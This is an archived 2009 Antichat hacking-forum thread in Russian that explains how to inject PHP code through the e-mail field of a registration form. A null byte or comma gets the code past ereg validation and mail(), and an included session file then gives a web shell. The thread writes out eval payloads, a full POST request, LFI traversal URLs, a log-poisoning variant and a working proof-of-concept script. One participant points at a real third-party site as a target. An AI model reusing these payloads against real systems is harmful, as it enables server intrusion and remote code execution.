Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Инъекция кода в mail() (https://forum.antichat.xyz/showthread.php?t=119481)

[x26]VOLAND 07.05.2009 05:03

Инъекция кода в mail()
 
Инъекция кода в mail()

К написанию этой заметки меня подтолкнуло одно из заданий в ROA.
Суть сводится к тому, что в первый аргумент mail() (адресат) можно подставить посторонний php-код, при этом не влияя на успешность отправки.
Данный способ актуален только для сайтов, где необходимо подтверждение регистрации (то есть необходимо указать верный E-mail и в то же время подставить код).
В противном случае задача состоит лишь в обходе фильтрации, что не входит в рамки данной темы.

Для получения шелла необходимо:
1. LFI на уязвимом сайте (с возможность инклуда сессий).
2. В сессию записывается E-mail пользователя (имеется во многих самописных движках).
3. Имеется возможность обхода фильтрации вводимого пользователем E-mail'a либо её полное отсутствие.
4. magic_quotes_gpc = off (в случае присутствия фильтрации, для вставки нуллбайта).


При соблюдении этих условий для получения шелла необходимо (возможны различные вариации):
1. Подставить php-код в поле E-mail'a при регистрации.
2. Залогиниться.
3. Проинклудить сессию.



----------------------------------------------------------------------------------

Рассмотрим на примере.

На сайте site.com имеется LFI с возможностью инклуда сессий:
http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}

На страницу выводится нечто подобное:
Код:

user_login|s:N:"{YOUR_LOGIN}";user_mail|s:N:"{YOUR_EMAIL}";user_password|s:32:"{YOUR_HASH}";
Где {YOUR_LOGIN}, {YOUR_EMAIL}, {YOUR_HASH} - данные текущего пользователя.

Вариант с подстановкой php-кода в {YOUR_LOGIN} я рассматривать не буду, так как часто это поле жёстко фильтруется + обрабатывается htmlentities() + ограничено по длине.

Рассмотрим вариант с E-mail.
Часто в скриптах используется валидация E-mail при помощи бинарно-небезопасной функции ereg_*, поэтому нужно добавить нуллбайт %00 (функция воспримет его как конец строки и прекратит её обработку):
Код:

your_mail@mail.ru%00<?=eval($_GET[c])?>
Поле адресата передаётся Sendmail'у в сыром виде и без валидации (проверял на локалхосте), а Sendmail в свою очередь, воспринимает нуллбайт как конец строки.
В случае, если введён рабочий E-mail, на него благополучно придёт сообщение.

Примерный запрос регистрации:

Код:

POST /register.php HTTP/1.1
Host: site.com
Content-length: {DATA_LENGTH}
Content-Type: application/x-www-form-urlencoded
Connection: Close

form_login={YOUR_LOGIN}&pass={YOUR_PWD}&form_email=your_mail@mail.ru%00<?=eval($_GET[c])?>&submit=Go

Скрипт должен вернуть сообщение об успешной регистрации и отослать письмо на your_mail@mail.ru.
После подтверждения регистрации и входа на сайт инклудим сессию:

http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}&c=phpinfo();

Шелл получен.

----------------------------------------------------------------------------------
(с) [x26]VOLAND

[x26]VOLAND 07.05.2009 05:11

Код шелла можно указывать через запятую.
Код:

your_mail@mail.ru, <?=eval($_GET[c])?>
Тогда sendmail воспримет эту строку как 2 раличных адреса и попытается послать сообщение на оба. В результате почта придёт только на 1й ящик, а вся строка с шеллом сохранится в базе.

PaCo 07.05.2009 05:12

Очень много если должно совпасть, бывают такие ситуации что например include path ограничеваеться веб дирикторией, также возможен вариант что имя сессии не всегда sess_{YOUR_SESSION_ID}(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).

[x26]VOLAND 07.05.2009 05:15

Пхп всегда разрешает обращение к директории с сессиями.
Чтобы узнать её, нужно проинклудить конфиг апача. Но зачастую сессии просто хранятся в /tmp/ ...

Цитата:

(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).
Такие сайты встречаются редко.

У каждого способа есть свои ограничения. Это естественно.

PaCo 07.05.2009 05:32

Цитата:

Сообщение от [x26]VOLAND
Пхп всегда разрешает

Согласен разрешает, но я про include_path где может быть прописано жестка веб дира и все, возможно это было связано с doc_root, такие мысли насчет инклюдов в файлах сессии ко мне приходили давно но именно на практике при попытке проинклюдить файл сессии вылазила ошибка, хотя fread прекрасно читала файл сессии.

Spyder 07.05.2009 05:39

PaCo, open_basedir в 99% случаев разрешает инклуд из /tmp, ну или из папки где хранятся сессии

InFlame 07.05.2009 14:42

SESSION_ID брать из куков, я правильно понимаю?

[x26]VOLAND 07.05.2009 14:46

Либо из куков, либо из url. Зависит от настройки пхп.

pampom 08.05.2009 16:43

[x26]VOLAND

Внимательно перечитал твою тему, сначало подумал что речь пойдет о mail в perl когда еще в 2000 году был баг с произвольным исполнением команд, но крайне удивился когда ты описал еще более древнюю тему, слегка не понял зачем исползывать именно mail() функцию когда речь идет о сессиях вообщем.

И вообще в моем понимании если есть локальный инклуд то это 100% шелл, но раз уж речь пошла о сессиях то в них передаеться не только имя пользователя пароль маил но дофига другой инфы, короче говоря мы просто можем отснифать весь трафик и подделать запрос с именем пользователя это как правило не прокатит, а вот например с текущем языком или текущей страницей на которой находиться пользователей то это оч просто... особенно это канает в движках на ajax.

[ cash ] (c) Hack-Shop.Org.Ru

Pashkela 08.05.2009 18:00

Цитата:

И вообще в моем понимании если есть локальный инклуд то это 100% шелл
На тебе ссылку, залей сюда шелл, а я посмотрю

Код:

http://wow.alania.net/index.php?page=1

bug1z 08.05.2009 23:01

Цитата:

И вообще в моем понимании если есть локальный инклуд то это 100% шелл
ЛОКАЛЬНЫЙ инклуд позволяет просматривать файлы на сервере, в отличии от УДАЛЁННОГО, который позволяет инклудить даные с стороннего сервера.

Qwazar 09.05.2009 02:33

bug1z, этот чел шарит гораздо лучше тебя. (А судя по твоему ответу, ты пока недостаточно начитан, советую почитать/попрактиковаться).

[x26]VOLAND 09.05.2009 03:02

Цитата:

И вообще в моем понимании если есть локальный инклуд то это 100% шелл
Не всегда. А если в сессии не записываются нужные значения + не известен путь к логам + отсутствует возможность заливки файлов?

[AVT] 10.05.2009 02:46

Цитата:

Пхп всегда разрешает обращение к директории с сессиями.
Чтобы узнать её, нужно проинклудить конфиг апача.
Скорее всего, пути хранятся в php.ini

Цитата:

На тебе ссылку, залей сюда шелл, а я посмотрю
Смотри: _http://wow.alania.net/?page=images/arrows/rightdown

[x26]VOLAND 10.05.2009 06:03

Цитата:

Скорее всего, пути хранятся в php.ini
Да, перепутал.

Ctacok 10.05.2009 06:22

Вот к примеру как можно раздобыть из локального, внешний инклюд.
http://target.com/<?PHP eval($_GET['c']) ?>
Естественно ничего, тупо ошибка, но эта ошибка запишется в файл.
А если инклюдить txt файл, а в нём PHP код, то он выполниться.
кароч инклюдиш лог и долже сработать произвольный код.

PaCo 10.05.2009 07:30

Ctacok это давно и всем известно и на ачате было уйма статей по этому поводу, фактически [x26]VOLAND описал обычный(вернее это было уже изложенно довольно давно ) инклюд файлов сессии в которые есть возможность записать свой код, и имхо название топа "немного" не точно.

Ctacok 10.05.2009 07:57

Цитата:

Сообщение от PaCo
Ctacok это давно и всем известно и на ачате было уйма статей по этому поводу, фактически [x26]VOLAND описал обычный(вернее это было уже изложенно довольно давно ) инклюд файлов сессии в которые есть возможность записать свой код, и имхо название топа "немного" не точно.

Вообще то я это на античате и узнал :)
Просто если кто то незнает, надо же своими школнеговскеми мозгами блеснуть =\

Twoster 10.05.2009 08:24

немного поясню, основная мысль Воланда была не в инклуде сессии, а именно в инъекте в mail(), таким образом, чтобы отправилось письмо на указанный ящик, и записался нужный нам код. Этот способ не обязательно использовать для инклуда, можно придумать еще применение этому.

[x26]VOLAND 10.05.2009 08:33

Цитата:

Сообщение от Twoster
немного поясню, основная мысль Воланда была не в инклуде сессии, а именно в инъекте в mail(), таким образом, чтобы отправилось письмо на указанный ящик, и записался нужный нам код. Этот способ не обязательно использовать для инклуда, можно придумать еще применение этому.

В точку. Нечего добавить.

pampom 10.05.2009 12:59

Pashkela
Может денег сразу дать ? давай кошелек =)

Pashkela 11.05.2009 21:59

2 pampom:

У меня нет кошелька, мне он не нужен и никогда не был нужен:)))

2 [AVT]:

Мужик:) Риспект. Но всё равно ты не прав:) Не всегда

[AVT] 12.05.2009 08:37

Цитата:

Но всё равно ты не прав Не всегда
Согласен. Но хакинг - настолько творческий и непредсказуемый процесс, что иногда случаются такие курьезы.

Велемир 14.05.2009 21:11

Пасиб за статью ))А на сервере может быть и несколько форм регистрации+mysql_quotes_gpc может и не на весь сервер распространяться...вот)).На правительственных и учрежденческих сайтах так оно и бывает(форм бывает до 5-6)

Spyder 15.05.2009 01:46

вы ещё не забывайте что в 50% случаев нехватает прав не чтение error_log и access_log
И кеш, локал инклуды разные бывают

_Quest_ 23.05.2009 18:54

перечитал всю статью.

Все не верно, человек явно не понимает в кодинге. Расчитано на человека который не понимает в кодинге или не понимает сути
Воn определённый код:
Код:

<?php
mail("nobody@example.com", "$the_subject", $message,
    "From: webmaster@ example.com \r\n"
    ."X-Mailer: PHP/" . phpversion());
?>

Если бы я писал код во первых я бы проверял данные при входе и при отправке от клиента. Воланд считает что можно сделать так
Цитата:

your_mail@mail.ru%00<?=eval($_GET[c])?>
или так
Цитата:

Цитата:
Код шелла можно указывать через запятую.
Код:

your_mail@mail.ru, <?=eval($_GET[c])?>
Это его слова. Но все вкладываться в переменные $the_subject, а не напрямую. Причем полученные данные будут фильтроваться.

Spyder
Вариантов достаточно по мимо чтения чтение error_log и access_log, к примеру если на хосьте есть фаилообменник можно подгрузить скрипт оттуда, или
форма для загрузки картинок где не фильтруется содержаниев ней PHP кода.Хотя соглашусь всё зависит от прав.

Pashkela 23.05.2009 19:19

2 _Quest_:

Тю, а я на днях заюзал именно ЭТУ багу, так что работает и статья рулеззная

Twoster 23.05.2009 19:43

Квест, а ты явно не понимаешь в хакинге, перечитай статью еще три раза, потом проверь все написаное на живом примере, а потом отпишись.

_Quest_ 23.05.2009 20:03

Twoster поверь мне понимаю.
Какраз в ходе проверки и увидел подобный вариан как у меня.Видимо те движки которыя я проверял имели отлиную от найденного волондом структуру.
Если не трудно- живой пример в студию.

PaCo 23.05.2009 20:21

_Quest_ все работает в тех условиях что описал [x26]VOLAND
Цитата:

Все не верно, человек явно не понимает в кодинге.
Наверно не стоит свою проблему с кривыми руками перелаживать на других.

_Quest_ 23.05.2009 20:37

PaCo приведи пример. Твои слова обсолюто ни чем не аргументированны. Я поискал и замети то что отписал выше. Покажеш где это работает я признаю что ты прав.

Twoster 23.05.2009 20:38

Квест, раз уж ты все понимаешь, то советую еще больше расширить свои кругозор,
во-первых прочти статью Электа про обход фильтрации ereg null-байтом (это про %00),
во-вторых ты пишешь про тему сообщения, а в заметке говорится о адресе, прочти документацию еще раз и узри что там адреса получателей заносятся через запятую, т.о. Если первым значением до занятой будет валидныи адрес, а после запятой наш зловредный кулхакерский код, то все прекрасно выполнится!
П.с. Не обижайся, я раньше тоже таким был, сейчас приучили сначала читать, потом спорить.

_Quest_ 23.05.2009 20:43

Twoster я всеголиш пытаюсь разобратся вышеописанное я читал и матерьял действительно проверен и усвоен.Обижатся ненашто тк все ошибки это не минус - это опыт.Ну рас ни кто не готов показать, поиду искать дальше.В любом случае спасибо за совет.

Twoster 23.05.2009 20:51

ок, я сейчас с телефона, в понедельник накатаю тебе скрипт, наглядным примером.

Spyder 23.05.2009 21:23

попадёшь в роа, увидишь там реальный пример мной написаный
воланд пришет про ereg-подобные функции которые уязвимы к нулбайту
Если ты не нашёл ничего подобного в нескольких цмс - это не значит что такого не бывает

PaCo 23.05.2009 21:57

Вот тебе РАБОЧИЙ пример:
PHP код:

<?php
session_start
();
$_POSTT['mail']= "mail@mail.ru" chr(00) . '<?php phpinfo(); ?>' ;//что бы не писать форму


// Взято с реального двига - advanced poll - include/class_pollcomment.php - 295 стр. 
if (!eregi("^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@([0-9a-z][0-9a-z-]*[0-9a-z]\\.)+[0-9a-z]{1,6}$"$_POSTT['mail']) ) {
            
$_POSTT['mail'] = '';
        }
//echo $_POSTT['mail'];        

$to      $_POSTT['mail'];
$subject 'the subject';
$message 'hello';
$headers 'From: webmaster@example.com' "\r\n" .
    
'Reply-To: webmaster@example.com' "\r\n" .
    
'X-Mailer: PHP/' phpversion();

if(
mail($to$subject$message$headers)){//
  
$_SESSION['mail']=$_POSTT['mail'];;
}
 
//LFI тоже взято с одного самопального движка 
$page=@file_exists($_GET['page']) ? $_GET['page'] : '';
if(!empty(
$page)){
 include(
$page);
}

Далее смотришь в кукисах(в адресной строке) свой индентификатор сессии(если ты такой знаток как пишешь то разберешься что это), далее чистишь кукисы или заходишь с другова браузера(важно что бы твой идентификатор сессии не передовался иначе инклюд не выйдет, по крайне мере у меня из за этого не выходил нигде где бы я ни пробывал, может это связано с тем php производит запись в файл сессии и и инклюд не происходит):

имя_скрипта.php?page=/../../../../../../../TMP/sess_тут_индетификатор_сесси _из_кукисов_или_из_адресной _строки


Время: 02:25